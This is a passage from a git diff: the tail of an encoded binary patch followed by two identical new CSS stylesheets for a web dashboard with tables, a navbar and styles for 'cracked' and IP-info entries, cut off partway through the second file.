z$^qopb}j+F@k`b)1vv$l@rvRHqtzq1)r0CJQ>&HmR*}rd#y%tDNowK;4Qk-{sy|Dw zQA(lp*A3+u7mL?Z$;V%u{Nu#|`HkB?UP8YtQv05KtmsH?j~ememG+waYXeF=6^{%5 z{1NjaKdJGL7k|X=ICEkya#$;RdFRz6Yn7fMn;uTMQ^)-Mpv2ipqD98+TrY?Fe*e{r z&La)R0g2f`=oht0coCU~wvJ?B+2H-{r`>cNHE~z0&iD1i9<(%lY4q&T9Nd85SS?n& z32yLVIREtbl)$H+NJUK;-Tni$Q%R#nHmAV%o3MmM=_|kVI(1FI&S`n}SGV$S=ab~Q zWZ#VGM8BCm>`!jh?}Uzv=05D4O=Uhx+u-tn5vVsPcSQ5%$u~#TEjLmQa=8I+R%iLp z5)t=yOOJ5O@wKvn)5i6=!)eoYlCD{4={j1pm-YDa6ac5}Y6n$%Q{GF&cZ2myI|6q0 zJL4RuLX}f6d;QLh{AiuZ!WLQlsKD}Y3L$MucxC>Sj5S$b!@^4-Nz&c!?AB1(pu2r1 zF(y+!k*v=9yAKgL4cUFV-0#=#Y<=Ymi-`Q#kI2ugk#Q?Gh?mzL=UHdJ3DPl7m^(!jd&erF4KRDJyVpDYz?dm zN^yBe54`bNRoL5_Bjqd_GtQ!vv$b%RD);)HFk8yI>Ynd2&oQ5?(P@}zdO>9}wtG%} z`QnMa=6pEVi`RIsW!^1D)#giaCJ*nN#Oy5`(DSKiLi?hbliapzQ$^`x{M%hl_!1;5 zhUeeCXx+-H|J;2yx=={g&L>YsKsHdUS!7NN{fGLwOC5n`A9V>@>`ZLhz4tfHv40nR ztBF7fGPE3PUAouxw>{YTk99pME4G4nrlek9to_)9vX#P#MIp*Eo+tazI`Le+`XbJ0 zsbb&T>6XB=xBs{qM~i`P`(VxcU^E|P_k*2|2Dkrk%`sU2^~J8gO5Lzcp-j~bi;HKK z>oHQ5X-gXNxS`coGLtgi)wA`p_(7#U=>mb{!)dj@SK@SzFe_u3e6RmJbX zK74y6qEhs>L1sQNmoY{+dS|NKv6Rf*+ABx8}cem z`!18t(Zpg7c-L+=czLqY>i$8SYctMnlQyrW(l0SHydNA(!M0sEz%S02e_^nGZ>^)l z)UAa)wZo_X7lG*5rdnLGhODK8#j#COLr(&g@}t@MMqZ}ejIqV*CjHOiD{nDWt4+Ml zKN*l2kR6aho7w5jQFfNCOr=IfnZ|o_d%C(MCz%t<3GI`V4fk`SZBv*F6wiGZdav(} z@QJ^8!)tf$Y-;!N-*=ucY_ug;9D3*fZrgShU1GTTOlDS{^RB;8u8H2J;u-eue+Nrg zWE$LiWp#l6`i0GB?9@p=hg8}I2(3c0NvhuXQG%AovIm7o=*MNVQyjJ1jkUqHzC7UB znmz39+$=hzS`eH}D><;7I5#7lz9ku&ZFPHV`&K@qe6#@;F)!Gs5oXn99x|1w8UpiY& zdE9^T)1)#!E1*7O(&w`BN6l9Xolla(rGKGqZB)SHLg%3G^Dd6gld7K`SHLED9)EdrzXyBDsX0kiK z*U!D$$ZMH|c_xu3-C;hQR*B}6l)j*cjEnv5AitnQ+LCf~4e5@jWt|9O1$~wy32RqGD7P+NbTtn<>t4INoOLSQ>@x^Cr z<+za7n6vpFRhkO==w99veP(uSXu;`jd3yep?kV)aDVzRo3rU(;NqYD8V?D%~bnogi zubGP~qF$Ub*{f||)b8z8pc!sB)Oo>KdGnd5vx(kq(Opa4D)vuz{dLTC^BL4pliPpn zl-6jd&EsCTI)5KkUKo3zUq%0}-X}r64~5~sS3lA#DPwBQ4=)IBQm!-X+pxSP=t!+g zby)oO=X`xToB_Awu1hLTGaH!F$r84*77h&TnQHvs-&1d!&dMa-#(04&K zexyFa)ZZogg%xhN`dNeEI~Rf$TRZDsDSs2rQDbq}x6})f+66B%x5VZb4jFi%pLr>N zQOedUIqAk&G%5=$+5Qk<`=pa3%i>XzWWtjBNxq_Mu!kfZiEqUPyiV8GcUUoAVoG3v!-AIp<>q^bA z;x9*~s?5o{sVLh!cL`ekv+pVU+5o{ddxVzG@T_Sx$uSw)-@7^&~E=hGQ}%-q`4-sa^p00}z%fpYbP|kt~)~ z+tLUkQb9X!PjdctW7btMPd@vMI8aFuqy}C2wg$DsF47>}D5%&{&g+xGnOY4@^R*T_ zN3)E)V7i>32P)T~XE&sf}!%j%wcs89j>P#tU+XW<;XNq_R8K=jkItDbpgIgNR$_$;G zFp|i=d_tYS4~y7tgO^-C9x%5hItMP>48q#C@tMA;@*`qQ{8MP(svoGJtQBcxYLw8f zdK>IlIDj*O8+kE!hcUHKgDdAx!L-SHgS_;VtB>iNrcEwmaO_c)`J$uQRkS$+frJkm zJeF7~sh`dGK0a`ySr|-Fpo}8reCs@=Edj&W8vb6?PH2qF)L7}=?g)9r}``wL#$b!Tf8%eQgxbrpD zM#IS`H?BK}9#8INUMs9iAI9Gj=TopMiHtOoNSqa-XgnY^Ub#dF(uwpd3Nhpy4ETrjq!>2zLN z<_kU8r%uf2KTa2Dx&-_wMM_*TNnX8nu2B(Tb60%Im?dyl-{DuL{0e=?DF+IoRU|FN zn${n?^TtZ!!^(XOZ3K@ z-Z8(Mr5cKGb_c!c_4SZ<70{Zl?}^%qXHFDQT0hs{V3(bF{)c0?obmFfMHyW2k^}bF zb@14sf~lcIBV6|=w-2bc38C6{`WUy49(B|IS+~Vz{Q_Llg-X}F~=Xn=m+ za=xqHoLx%isR^sRXrCt@j`vFoT={0t0ut>xTT*UwgiXB(ceJK2RgGQVpn0g^MR)&k zw~=gUW`!}jNH)qnj`@Q`iT+&gTNcXZ zzN>t8>1U$b2>t4%abXLxUMeI!6Ix^Ncax7ED@NXT;#msj_o)*`92rWav}})#S(1HX zrJlC}=X`ICcsu{G<5=Gk{%)car}a9MK17+EKb~}2-y}V5@PPLs?(eKP;2wVZa9t3G zDLeb=@D>s&JR#(Eo-DT{;M|d7<_6Ns6VH zgv?+8B^0miw(OTuC(GsiI1KFlt|feNN>$jjeJ`BQc{m}nzXlyMo=#`@WPD4*FYjcn zxXbl~6b1%2+egoY=mh-Uj>#Je(GOIs|=hVk9oPgEN@ zr!RTIeo!vmY=^^q!1^{`8qFS}(}BGMxC(bYdnKUGoM8ZY=t+R5CF zAU-tk&(Jvl2*H5V$Euoz2raG|_BD)f`Nw)zY3fKaPljV01eax&o)Aw7lh!=KwVKsj zu_vHJS~~vm$iW$^B%7oxhCj@~(^?OAg;ne`e`GkfpJY8C@LQjh8!lzuu+KbBWUOX> zs!CXN=7-HdPe@3FO0rhr?!Qo@;8n}~>DTW6JfC}WqBs~$;!-MA1kDsA}vUu z38>O9Sj>$+)xdj3L+I(`!J`n6sN3+h(C{_m`L05bON^reK@|^yJY6*|@ti+*$B^Lr zU?;&4d~>xe8xGB18Oq+b&ZnY*C%s?B!LOS+zEWkp`(bxenzro2v$7);N;RRs?B`dy z5zPT5b81$pBsq6h&dcLztxRCXt4nWhE*e@je+W}32z{J27=X%Z>A2sTU0{~uIM?n| zTRPECYh@&V>dtrF)Nzf65_!tBUp{K*FP|jkFhj1@PJk?ZILYY+zI&_O(n0?Z%ZOSBH$#aXjN3j+T zj(8%L9;TtG$PsO@0K<(cy3fBIu!41 zG(INs5^PJZv%^0jqx1!1@$&(v9JC*o-n1}}=pKuvaPX4j>7%I?@Hztl5S^&qmpfTb z`fWkJQ(_cq+YX18VDv!wsyg=umVTdIOX6=Dfi z+Q2=_o>R9Gv^smR;YI_n9ZD3@MWt7^CaXv@Pqp__ln4&eHmXAPGvn zF>{31tco`E%6sZvS+KGPaQ?+F_pLX`Cf3>=&G?7CE#EJ!-DG8W?4x?5>6GIN6)FUX z7E^p}_vb`d)D2OTI9^PR^6PU}oLwT8Lm0;#^C7fjXTxdi&(MEbWda4;kF=Y(tt4W1{0jFiCH!2t7%U|T@yk&O7aXoxv5t@rsFg$;1`@1m!0=@z`ExA(3pojh)_^=d|;{m=kMcdBqj@P`0u}uHT|!DI|+XA|NN;SQPIDDjsGBy z;J<&zM*rW>|F2TU)UA`{O9+!8{hzMBJ&@`B|9{o#_?|ADPN^fe5>}FwA%r^0-DGmj ztt^_E%NSv((;1Ys zZ;!|G`Fg$MOr(Nd8V2}P9K()?u8~$ZRqi+Ns19)8Y~0!Lh|7U7A2VcIZzg_EY9+8V zDA`%Q#}bc$!Z}Fke(;nEO4ioE2JX0G5;F!gAhZvxsqT4M-`bIqzT?0elLw-HzncFn z8hbL_dgy?}UD$V$F8+sCC5><)ey9KZ7UyOw8qK?9@m8J~sNTl&SG5h%lg2|=jsQ!0 zJNTVoM2*=&>d^>((64$efw(#%B9_Pka00pFAui^q3*(%Y|5M`iEBwWJ04!Ob6)S*H&qvuU`SsX_G=pK<^y$9M=Iv$43n5VWVN7 z7~zV>WU|7)y~p*ZJe3fDGn&-oDuF&K0GtPb=_ z$VRnF>tB~gAEJu?4n9k_iOK@ARI4DBZ#`bVjk1wRF{@VE=dFN#-1!2`syZ`{aBwTM zelZ5i0wlNAA5u#e(Ef;9LOx-D+;uk{#1_X5!(CzEwj!`Y+No{O2E&mqkO9Yl0A9?L z8jcM4YYCwu7_O%C;*ISiXHQzo-)L-W)*N45{3@|tEmsbJwNRo$t~ZT_R&21X293oL%{t+6vz=kTC^3u#ku?`d>PQs zh+&KYJ3l%kZNzU3kZVVFe~U}A7qx)jPBNOnZ*a{2p26kWD<5*U>WmDB_fkMG>!%0y zOI`VT26XEv=+=V?Ci5xL5h|Afev6a-1_^jqO;je$#*#CSM}iS1lJd!*e z8^9{!*P3bh2*gw%- z-l2lS5g?tv=jitxgL~4t+mTN4Y+~uS5ogF zy;@SLL8XB7@(=%BJQG3);0M4SnAMFrSuNxmf%2~LWT`enAju$sQWs5HCiR?UN4Djr zg47F$;!hvD02FfVx^fc)Z$JO-_vR31n;tMdTBwi=uY)vC>}zCoUUpVCdFhamzQhju zS5<6C!i&sf5Ic3&G{2yz`dXcRIXSpz0*f(l=(3$Ac^erSX-LpmypUsCK7um^7z7fK zy)OVL)WyDpSDl0%$-q9uKD}IrEJSj6gEq`N#VTehSxd$s_Q>TW^V)!ZxSU|v0DuX4c7A^ivBNMnRt!akw}!6IU$T*J$mfYbdvm`N7I>b{I`TA+Dj?TVx>*a=)RYvXC1%@5L|L9VP z@NeXS@_}8ht7Wm@zdYfYFa$zLqmEN2jAKcIA0ChO3IRuU%y9iM;SLmdA2toqX6mz- z7KE@$!I1kcYJCvq2dCE|OkrjkEdD-%p{CeQhhpSPU1-8$&_NglzTlBIsWx7K9C=m_ z<(SL>{p?N>t))X_ncadgic0xr?f_Rfr!pIP5C$6AhM#hU;g)zGfy7iDgmp zMVM!ar0&ISH!-lQnGgBHgN(`EW!I{XFl_zsu^1~M5wDEHXYvhNcnxqNfybhS2(p5Y zNF6O`atL!~t;qK-P=}q5m z7LE^yYGQem{1CKgpDKlPY*y+DA%2;6mXg@OXatgsi~o&ny*Y(T%DZ)Hl zjD)#4bC6L2v1|6ajK63%ybWR^>V2(4j%8;%WN93>JAUbx44r7(;&#D{HTwuEIRDn zUeuUZUwe^cK?qdO>K|5fC*#c}_QI>YG6tU*PpnU+ACg!L$MebsiFP~t;EZh&wrc;D zbs6hx(cHF(nS_KjhX(OGfT;>#lBf+K*CyOE*+xizB_dv1g2289wm(zf=oVgu z0`a9q`$u^5I>(4pdQWl#1HIjPVB7bj>sJzL)MgJFw&Zv;EY`*Unf3qK@Nd$y-!&8pBZ`8I^kwB z0;rau0z74+k6|V`E&3Gj{JD_k`pkOyJfMpv^y{|yWOZ`}Sevk~UD#*E8 zz_0ya;o+PXvKaQ8hhy%JWF^vE|6GE+yNndQbyfk#?!mqGdezqQkgU;>80&<`31_O* zU+>jeEu*W4!s|vqxC`LsRTG9MW*+v=k!`^#s_z7*dJf(KgMwo`v5o2dW>h(OQPa*< z2_fW`L>CXtLQ4of!VVJGy3SFSN$+NYfN$(RfBqT6iqM9|HaQqXBys_S+%yB9*vT1w`*>2rH*Y|K~1lLi)7 z7zDIvdtc*`qFji%0YTDaX2jx15Za8o>*ZLaw4ZZt#w?eZ7OOCr()r|f~csuDV zx0~Odt@ZhPdl`suSq9P7%7}aKbNe|9m z*pr4N-lUJR95?_7#H(uV9G$%;nsXs@I$e%F?8w44V5sH#J_CkKxT-&9K6t$4mxVNB zdVvX{0wAitUYu&a5uG<=1k$M=39iuXiFnx-TLM~WgqpWbRe(oU+X%lENI5h}%k#3b z6G#?y=Ho#iExSIyI^rUXp^%QlB(^3Sb)A5C%%gnzQ!Ej$_sX@;&4e<;7RJ#=Y7X-A z@qx#_u9_SIA3a>@3;4g5yi19)%jlzT;qgsNOATHeY3vH|OBt-aX6;4^J_ph}0NLkE zY+wYm-kg#J3ePvQN`ZeY}2=0qCS;S#i0l?|Y`tX^-ay`8_&3@i4RzcNE1PDZ9f^Zlh$z`?_ zb_2*>Z!L`@O1^H*>WLkoeRPg#+|r`nQTzQ@l+SRAamkarNuBx)!JReuJCo3E8?yoU zI^7r8CNl%(t}G{LH0GSN708=UA5D^j??sw+{mc6Sjr|&Z?s+|%ikk2DA}03Fuk-8e zti|lAlLGUg#kFTr7_T>35c5-?i)iXQEIt)w?Q<9P1W`W7T9%l9e8tqqn759y`;_YT#+ zayV3PFU&i^9mJXSE&1*GbFL^Ac8YP_Ja`Wvogu`}yD*&BIL^-rpF1z%ALZ0mNs*?Cji299A;JFuGN}YWdI6hk}B8oNoADk z-INO&CV5q08r(va|3pXw(B(n^STaj?T)%CC9#vSBkJDV0_~LjSo0# zFuwOND_CwtFm}w2)C4(^bkG@Ql4rt3h=2g`!y@%2E;&ZU4XSfK!+8l^ClY zM>9i!ct^La`}AnjXUnf&sT;4Luq>nqc<(@UIvAVuO6jQIbPD8dQ1$yj5hV~D#ks4{ z7Ta1oFv0-r8ELWD5F43wQ5YZq$2iU!+!S7Qffm#rz>$H4Xu~Aeg6cguoa#wDAd^1Ui+1e3h7TV zmc(+_x4>dtvH3u+0{_!1&%movLFV=@ovR8s_Ut_Pa(31d;P3{@)zYl%b4+D*`5}E& zZ{<-cL{}awNNk05hgg!Aj!Jxfih8yVM&_Q@9}+ByWsrNP%BJd^u!rY(Ex_&GqGo!T z-1^cp=jt$SRy80i&^XLz2_OP^xo-BS3A)In{mqW2Yobvpo9?-%H`Yn`wZLR2psC&N zb!(J>GSxx?6ly4KW6wFDl~5oh*-{rA1bC@z4J$E%feC}a8-|t* ziU%Tg^!Dg|mPM0U<{uu_iPjNhKmt^Bi=!!2Ip+gtpR4VjJnreM?I|7N%cplF^Z3Is zW}@a{__X+j({U|daT3SOS(6(FDl}aNK~>xvO+E?)p&q#9MtExIV&x|(JFnYO&~yTs zx6e!1!6WguP7St_DO;iGuJZYx@AsQuUjDGuEjhiqoiRo@boAE@O}9{>*uZe=hGP#W zh+ws2zVgW_o=U>6OR0~Ktx-9C_wJnCgS`qYJiF)v)n<9!Wur7a%~tqt9<_314A>Gc z;d`F#+{r685BUA#y=UuY_4lOGmFdtC4;k8xX3RbVwaFcWOUbTK zakpT{tvzc2$itRjcO`rI0SojG&tqzk+FRkM`Qguh4nlDOU(bX1<}UBC4f&?5?g7g~ zzZ(^Tjxol4Vu?r>upQ~0y)tL$8@WLi!(~2{RNOFRvF~#C*7}WyA z;PPHny~@e(v{K16&We2py@S}-SPdjpMko+Ir*_|O7k@WF&Ata>F6QwaqHP9D<7U<) z+9=+KXd&2ZNIud9VIuN2QApxKffefuXs_wmop_e?Q+$_yh;Q*q&X-Xso%EIz8_7ws zYma4XFmFAtXxzc-=JUQ&a-9Okv$Mu-|Ppi3w0-I!jqtoLO=4T$H zc<%WTH)aG^1voTihQS$%Lh zbI%;21C~Mu!!dSXu}G$S9ax7JxkQ10$TqXjFO^vIo_&02m$;qeyDjkbq|_pf4gom6 zK@uI~1#lZLZix&#_%*rJxN2hVK`DnW7not=F_vZe6h@C~6*U={%Lo5U%zpL9W=;Vi1Le_PGPwo%UeE zCF9GtP}BP}w00Mr?P-@My#7|dRJAlr?cVXWULpSkauQGHpVZLKDjiZS^cVpB6nRvO z(Tf1TPRJ*ho?h|Zk=*$lpXTOywVlCOB*a(yIPUJ!?W=kt4{Am|oIy=zR%szXtFp}4 z=~()v($+0fi_=o-*@U#}Oi`n!P;!*A8;{ch3#Kn!Zvb46tX-Gm8w>^bPc~Jqa>w)t z%6lXaC?P^Q^SCMP*(Zf z#5wHwbvrqLVK8LQp^8#R|F)^L;b5I6YY*A~t;H@^9`?C6Y%HFta~OTNRA#nDXSX0T zZ>_&~Tbd#`V6-RZ%ncXqszAiK=(JWvnPnfAzb(YzO%H~1T0Y619}^IE)#;X^P9OE) zivkcD&@h`j#`&PCN6xPN!QxkC!m53Or|J)bh;_Jlwf(x(e`bHC3>&p#2*!)C{wg`a zIry-50+-E|83}__?~!KAc~3I%_Fhzs+uu&N&Ra?h|9KsDYPMl@pX72?J^2UwxXC{L zM`KD4`g`>1talRh_37(E$e#xy*X?Acai}F^&d!2?{cSJ3X`r2hHJDwgvl;PL8eE^3 z+1V)<1YmNntfc?|-9Ln6lD3vT&cFl1rGqlNJB&Pbgk%mqCrv5=$&QpHuoS*~r^&F5 zxEu?%8IS~yc|lQbRsDC&;LIJ4nLW8woK_HX3J7OmU=zJ;rn_dTp+8*t@FkFKF){34 z%{f32gezaa+y=CxVIpp+mP-F5q=8&XAkk@4+bSWL(k+T+-hH6M|Kx-Ug0|_%cCv?Z zXIeckI+*Td#sRnyzaKr_gHhGl%SWZdWDIlXjA8sKI7apTiKGg4hyb>zzYhSVze{t9 zluzmC(EAe)GBHF)0Ej@WXJ+5f4luuhs#4&=X)Ll&)y4g%3+GM+Y;5>`${%Agr-SEnN3$ zx&*^{aA+tq0GEewGYsN9`1b~e1FA9J=!oA=7ED1)lD3a5$IU*F*IA3i?QhCE?Ln~B z?tx<~ebyL@XEC8T?g1J zoo`u}XJBq1dp0LV-uHI*Q*FkEGgW(k@EaK?4%UA804Dr2Cf%Du-=KYq8a8t!pns?uM7ZNX zf{ChB%&vx-8SMrsG(d7*K6%@n&&`kVI{G$Mzn0&0wz>ouA-9H`Ej8aGIZ@9%g!c9Rj1+&e`ebBt@-y%)l(CKttP6VDO9Ge<^qY zB{)S*vJdhXwJ?d(Ox7>Nt=7A#U1rxSi6RpdyqN zl%%KO>(PcUhQSV6uo+=4!{dRauz4-ofY|pchEI^rrJ} z8S_7UD}6d*5z-TBV)O`eeu#&Qb0wJ)oT3Ly)>kBgnl0(2om;yzxn|=IileMUV#x3_=#%ZF72TavRg@z1AT3g31Y`sT-608cMg&4&*DB=t1Y_x}!9wsaeiS?J(tGWKS2 z^k=kb(Ng2!%7%=6sp3UD)Kwc(KkftjuJRSSa`2ei#l9De<)rPaU*y~zn(s?Y3@r-U zcM*LJM&LS>Mktq$GPj*_VQeLZKqEk(!N@8!*zYyn)QU zI(1Ok@EEP`3-}yI^o_nlzHI?0l_7wIErEH+1g@K&AA<+Dx5wM`)T&oGE;{%|^*-Oe zVpx)9^q=sh)#(@h%h~m4J>+iW9SUXQ4k&mSAq47=OcC{CyJ3!iLG0%z_JcEIH^o8C zFV&Mr44&ou2=aSQZ#o6+mtODjdP{>pIAG!Ub{?+ zQV#fAq>^Y@;kZ}DVXx1I1H#(l>da^YdngDq9oRQ1qG#1AR|JeK634Pa0xK9|NeCt} zh!;^l7Cr%_?S#a=d_!uz|3{?vps7%Wfdc$oPB!bWW$s#6Dz~gufMk_m#E_{->M`C* zXcf`Rq9JfHesr#Dfz56zIb0+7DC4fvZP(0+v_fp$PGRB%;mk1OaS;$V?|N0c;xFU9 zUPp>5Xi+G?O}xO*3Md~ii6u`49C?d)e!ww_kmjSuoFsxm)5r)PVQ;}^BD8|*-+R1B z;SR4U#$ou$4^^!E=LSf;1#ng*$iCebZDoX3VWMb>ca+)R|Nbz|sc#0k3gmGoSlhtD zB61qYNBqg0V64zw=|)8>XBm@t5sYh_LyR23J>Im={J|<`5oS@)vPe(`jf4-DO_sqBM)rJRO@y~7zF~?Kx)#E zcn!YWnxxmUpVGS1M%l>?{WS>8XXnLbotpTJO&-;A>@u#5<=kwePr-%ggVO1`;_)R7 z2nyZtoZQ&7GD~r6no&aVm0M`qHL!v3;qy^O;%Yt0EbDXD*}e8|bF)iLLIKuC@0ScE zn!&)eFM-fpmA3Hnb@1l9d>)J7omDh`Z*^sWXly&?W+Shiis+0E7dWnHtXkf(C^*v` zTDy2+=C81YunUo5n*`F_Hv;c1v%i;-7$M3_eOn|mo~8&-Enf+>GLn_kwDf6JwRL8F zaPm4}q+3DO^7~0jY~2i%dR#kE3y)5?6Z6Tv`~f%=Z5d2yVpT*HlG8j%$Bpw&PpzoY z1YuZMD1+X%7o+O;k+*y925fFmtbf{z`Zz>e1SstIgk-3^8>i#=ygO4XIx#WW0TTDb zTtvxA;^)jn#n2G9vN znoTZ~g)yP&6TU=n0R2#J6W)+!XJ#%iqx|Ku;U^qDY;C~Xe+`ARADnwC7n~91A(C@+ z7QAmB4!bZ$CgG2R676@#RL@REl>Pmx9?mr{`ukOR#lRfM=n#dpgi3{@o2z_sasrg( zQcC?bE9RNP=fMi@^iJBmo$U)!mKl7{@ zk1>mVybNBqQM6TsX281KRP2#%Sa zIzOQhHut3=bzpa41YsY6?KIV%w<#qd9rrE0CS8l-YF6`+8D- zIZLi%@~oU1$lzPeB}v>2bDtG?o5|WGWGIoBG>!I3(1SfR)T-mkV(sFP3xTh0XdQB| z-?P~QA=hGM)I8gpoq1e+b@{M?MS#;_AK1!qKoZN($X^EW46d_3Rl-gj+>)s&$vL=| z$OW4)4c5}PrKeb3=ufYxa{kgyKM>79_U2Qz30Ir#Nt5b_ZQjhyezS|P6ejU1Y%tY6 ziR$GS2(fy_TK^@<<{!mCCV2p@1e|2KsMcvmgIe{DjFut;MSxYw4vDh!< z*#KN75e~PR_71@9u=dX7PoA0?J$rhOVnfznyXJJ4kF4A^;#5)j&u_ck__t6AsOx^EXlw7=t?8O+Lzu=H9TZtG#y^kQH zzkE}jeesphXSXei_vhc*CE%xJR3GM!)#b-rLY&UMT@nTM1$EZ~wC> z6<6Jo98yZXqV;lc4Eld8_u?0S00~pCfKxKgopw9&TDxf9_SuYzXQ_^m3{SA}Exi#o z5}OpO%+>l2LCogJ{Q`P+!#^aWYV729mpxR|CaE%=-SF4d0`?m|_-Z4Sx$!v|V z9ciJ_xodjw*J<2jLRERCp=vFjuxYYrqMo8eZMKn5S}Fh;QMy;(^wWH0!lXvw;P94X zdnI+ea>+tKk@b~SVSI&mb5I+J?Ua|QPjU?eTmQseEToK5fX`rzvVtfD#O2Yl3r%Gp zg(SWFkM_<_0TW)RF(*5hrGZ=Ogqh*NcR!xum6sP{Ne8YB-9vMR7|l~54;oF33MUHB zC?6F1GF&CGqv`e$=OK#Vl;=KTVPRYya(DFTcUv%Vjia6c8jRRPUs4*#?UZLI0VFf+ zuDABOH^^&UEKo3d>`2VX`g59x?NiGnzePtO0!iGXl*ObZJ&2w*tA0BHY*pgtmB;lV z_G7V#)5(TildGzX($D|A{1a)4H(|~Y+Mx6j+HY=FW~RCn@hsyo>41CqbYRa@K0P6- zsp&^LT~}7|Ck0K{tbl{fR@aDW&_E3$PrxuCWKBlITUNy$+g$k`7Y47;7vCUrtfzYT5LFbz+8H zXN73fzVq=JKv2(qBB(nx00-~7q}q?yigCZevQbGt`^;KduF|VH9n>eu+=b`M2?GS2Gg{8VSQ`H*I-2^4q#HFoC- zWy;xYgT;7ww2fKjG5D`)71xb-PkS&gsfVh5i>u9AQ0waE)^Y4{j$#8plb2s^2e8!3^A?_){O>K!X5l!UjT7|<)2=O z6aa3>mqCif{Gg(Bn0(SU^w+~NTL+F%bPWK@Q(pezKbFU*9}sjMhsU$>hK?3RuN$O( z!41EdBg7hlPs(8Dcvwb#zeV~&{#+U(l#okgyEdzIEy3vTam3z;RT?XXQ6}@v&|&&gBU&>{)4LyT z0#yf*xxFwqZ&0+&qdPDUWSbv>LSCsA?%kOj2?}j>vLh1Eg zsb!5Ts@FEO?*t`Wq!M(bHxa$-x~+Gi8x)w?Z#pndk3pP#(%E~~@^`&7iq;QwsP8JB zswQX!ETDzyrGX|=J}L6ikN5Dvh9~KzOO}$mdzf@XDf@+8YCW*3>T~nOWe3-*V5cwy OVsjdPs{Aj%zyBY9wfhnP literal 0 HcmV?d00001 diff --git a/res/css/style.css b/res/css/style.css new file mode 100644 index 0000000..4a52e6b --- /dev/null +++ b/res/css/style.css @@ -0,0 +1,179 @@ +body { + background: white ; +} +table { + border:0px solid red; + width:100%; +} + +table.main { + border:0px solid green; + text-align:center; + width:60em; + margin-left: auto; + margin-right: auto; +} +table.statistics { + margin-left: auto; + margin-right: auto; + border:2px solid #c92b2f; + text-align:left; + border-radius : 25px; + padding: 1em; +} +table.details { + margin-left: auto; + margin-right: auto; + border:0px solid blue; + text-align:left; +} +td { + border:0px solid black; +} +td.ip_infos { + border:1px solid black; +} +td.menu_gauche { + width: 20% ; + text-align: left ; + vertical-align: top ; +} +td.menu_right { + align: center ; + vertical-align: middle ; +} +td.menu_top { + text-align: center ; + vertical-align: middle ; + font-weight: bold; + font-family: Arial, sans-serif; + font-size: 2.5em; + border:0px solid green; +} +td.actions { + vertical-align: middle ; + align: center ; +} +td.cracked { + vertical-align: middle ; + align: center ; + color: #c92b2f; + font-weight: bold; +} + +tr { + border:0px solid blue; +} +tr.table_title{ + font-weight: bold; +} +tr.infos{ + font-weight: bold; + align: left ; +} +tr.tableau_resultat_row0 { + background-color: #A9E2F330; + text-align:center; +} +tr.tableau_resultat_row1 { + background-color: #e0e0e0c0; + text-align:center; +} +tr.details { + margin-left: auto; + margin-right: auto; + border:0px solid blue; + text-align:left; + padding: 1em; + font-weight: bold; +} +td.toggle_menu { + background-color: #30A93030; + text-align:center; + font-weight: bold; +} + +th { + background-color: none; + border:0px solid blue; + font-family: Arial, sans-serif; + text-align:left; + font-weight: bold; +} + +img.menu { + display: block; + margin-left: auto; + margin-right: auto; + height : 50px; +} +img.logo { + display: inline-block; + height : 80px; + hspace : 20px; +} +img.logo_left { + display: inline-block; + height : 80px; + float: center; + hspace : 20px; +} +img.logo_right { + display: inline-block; + height : 80px; + float: center; +} +img.actions { + vertical-align: middle ; + align: center ; + height : 20px; + alt : "MyImageReload"; +} +img.ip_link { + width: 14px; /* Width of new image */ + height: 14px; /* Height of new image */ + padding-left: 6px; /* Equal to width of new image */ +} + +#images{ + text-align:center; +} +a.firstletter { + color : #c92b2f; +} +a.cracked { + color: #c92b2f; + font-weight: bold; +} + +/* The navigation bar */ +.navbar { + overflow: hidden; + background-color: #333; + position: fixed; /* Set the navbar to fixed position */ + top: 0; /* Position the navbar at the top of the page */ + width: 100%; /* Full width */ +} + +/* Links inside the navbar */ +.navbar a { + float: left; + display: block; + color: #f2f2f2; + text-align: center; + padding: 14px 16px; + text-decoration: none; +} + +/* Change background on mouse-over */ +.navbar a:hover { + background: #ddd; + color: black; +} + +/* Main content */ +.main { + padding: 16px; + margin-top: 30px; /* Add a top margin to avoid content overlay */ + height: 90%; /* Used in this example to enable scrolling */ +} \ No newline at end of file diff --git a/res/style.css b/res/style.css new file mode 100644 index 0000000..4a52e6b --- /dev/null +++ b/res/style.css @@ -0,0 +1,179 @@ +body { + background: white ; +} +table { + border:0px solid red; + width:100%; +} + +table.main { + border:0px solid green; + text-align:center; + width:60em; + margin-left: auto; + margin-right: auto; +} +table.statistics { + margin-left: auto; + margin-right: auto; + border:2px solid #c92b2f; + text-align:left; + border-radius : 25px; + padding: 1em; +} +table.details { + margin-left: auto; + margin-right: auto; + border:0px solid blue; + text-align:left; +} +td { + border:0px solid black; +} +td.ip_infos { + border:1px solid black; +} +td.menu_gauche { + width: 20% ; + text-align: left ; + vertical-align: top ; +} +td.menu_right { + align: center ; + vertical-align: middle ; +} +td.menu_top { + text-align: center ; + vertical-align: middle ; + font-weight: bold; + font-family: Arial, sans-serif; + font-size: 2.5em; + border:0px solid green; +} +td.actions { + vertical-align: middle ; + align: center ; +} +td.cracked { + vertical-align: middle ; + align: center ; + color: #c92b2f; + font-weight: bold; +} + +tr { + border:0px solid blue; +} +tr.table_title{ + font-weight: bold; +} +tr.infos{ + font-weight: bold; + align: left ; +} +tr.tableau_resultat_row0 { + background-color: #A9E2F330; + text-align:center; +} +tr.tableau_resultat_row1 { + background-color: #e0e0e0c0; + text-align:center; +} +tr.details { + margin-left: auto; + margin-right: auto; + border:0px solid blue; + text-align:left; + padding: 1em; + font-weight: bold; +} +td.toggle_menu { + background-color: #30A93030; + text-align:center; + font-weight: bold; +} + +th { + background-color: none; + border:0px solid blue; + font-family: Arial, sans-serif; + text-align:left; + font-weight: bold; +} + +img.menu { + display: block; + margin-left: auto; + margin-right: auto; + height : 50px; +} +img.logo { + display: inline-block; + height : 80px; + hspace : 20px; +} +img.logo_left { + display: inline-block; + height : 80px; + float: center; + hspace : 20px; +} +img.logo_right { + display: inline-block; + height : 80px; + float: center; +} +img.actions { + vertical-align: middle ; + align: center ; + height : 20px; + alt : "MyImageReload"; +} +img.ip_link { + width: 14px; /* Width of new image */ + height: 14px; /* Height of new image */ + padding-left: 6px; /* Equal to width of new image */ +} + +#images{ + text-align:center; +} +a.firstletter { + color : #c92b2f; +} +a.cracked { + color: #c92b2f; + font-weight: bold; +} + +/* The navigation bar */ +.navbar { + overflow: hidden; + background-color: #333; + position: fixed; /* Set the navbar to fixed position */ + top: 0; /* Position the navbar at the top of the page */ + width: 100%; /* Full width */ +} + +/* Links inside the navbar */ +.navbar a { + float: left; + display: block; + color: #f2f2f2; + text-align: center; + padding: 14px 16px; + text-decoration: none; +} + +/* Change background on mouse-over */ +.navbar a:hover { + background: #ddd; + color: black; +} + +/* Main content */ +.main { + padding: 